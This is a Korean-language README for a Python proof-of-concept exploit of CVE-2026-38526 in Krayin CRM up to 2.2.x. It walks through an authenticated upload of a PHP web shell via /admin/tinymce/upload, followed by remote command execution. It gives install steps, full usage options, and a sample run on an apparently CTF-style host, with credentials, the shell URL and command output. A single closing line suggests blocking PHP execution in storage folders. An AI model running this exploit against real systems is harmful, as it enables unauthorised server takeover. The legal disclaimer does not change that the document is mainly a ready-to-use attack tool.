
Krayin CRM <= 2.2.x의 CVE-2026-38526을 악용하는 Python PoC: 인증 후 /admin/tinymce/upload를 통해 PHP 웹셸을 업로드하고 명령을 원격으로 실행합니다.
⚠️ 법적 경고: 이 코드는 교육 목적 및 승인된 테스트(CTF, 버그 바운티, 개인 랩) 전용으로 제공됩니다. 작성자는 불법적인 사용에 대해 책임지지 않습니다.
Krayin CRM (Webkul) ≤ 2.2.x는 /admin/tinymce/upload 엔드포인트를
노출하여 인증된 사용자(낮은 권한이라도)가 확장자 검증 없이
파일을 업로드할 수 있게 합니다. 이후 해당 파일은 storage/
폴더에서 제공되어 PHP 코드의 임의 실행이 가능해집니다.
git clone https://github.com/<TON_PSEUDO>/cve-2026-38526.git
cd cve-2026-38526
pip install -r requirements.txt
python3 cve-2026-38526.py -t http://target.tld -u [email protected] -p 'password' -c 'id'
옵션:
| 옵션 | 설명 |
|---|---|
-t, --target | 대상 루트 URL |
-u, --user | Krayin 계정 이메일 |
-p, --password | 비밀번호 |
-c, --command | 실행할 명령 (기본값: id) |
--login-path | 로그인 경로 (기본값: /admin/login) |
--upload-path | 업로드 경로 (기본값: /admin/tinymce/upload) |
--timeout | HTTP 타임아웃 (기본값: 15) |
$ python3 cve-2026-38526.py -t http://billing.nexus.htb \
-u [email protected] -p 'N27xh!!2ucY04' -c 'id'
[*] http://billing.nexus.htb/admin/login 에서 CSRF 토큰 가져오는 중
[*] 로그인 양식 전송 중
[+] 인증 성공
[*] http://billing.nexus.htb/admin/tinymce/upload 를 통해 x8f2k1ab.php 업로드 중
[+] 웹셸 접근 가능: http://billing.nexus.htb/storage/tinymce/x8f2k1ab.php
[*] 실행: id
============================================================
[+] 명령: id
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
storage/ 및 uploads/ 폴더에서 PHP 실행을 금지하세요.이 프로젝트는 보안 연구 목적으로 공개되었습니다. 사전 서면 승인 없이 시스템에 대해 사용하는 것은 불법이며 엄격히 금지됩니다.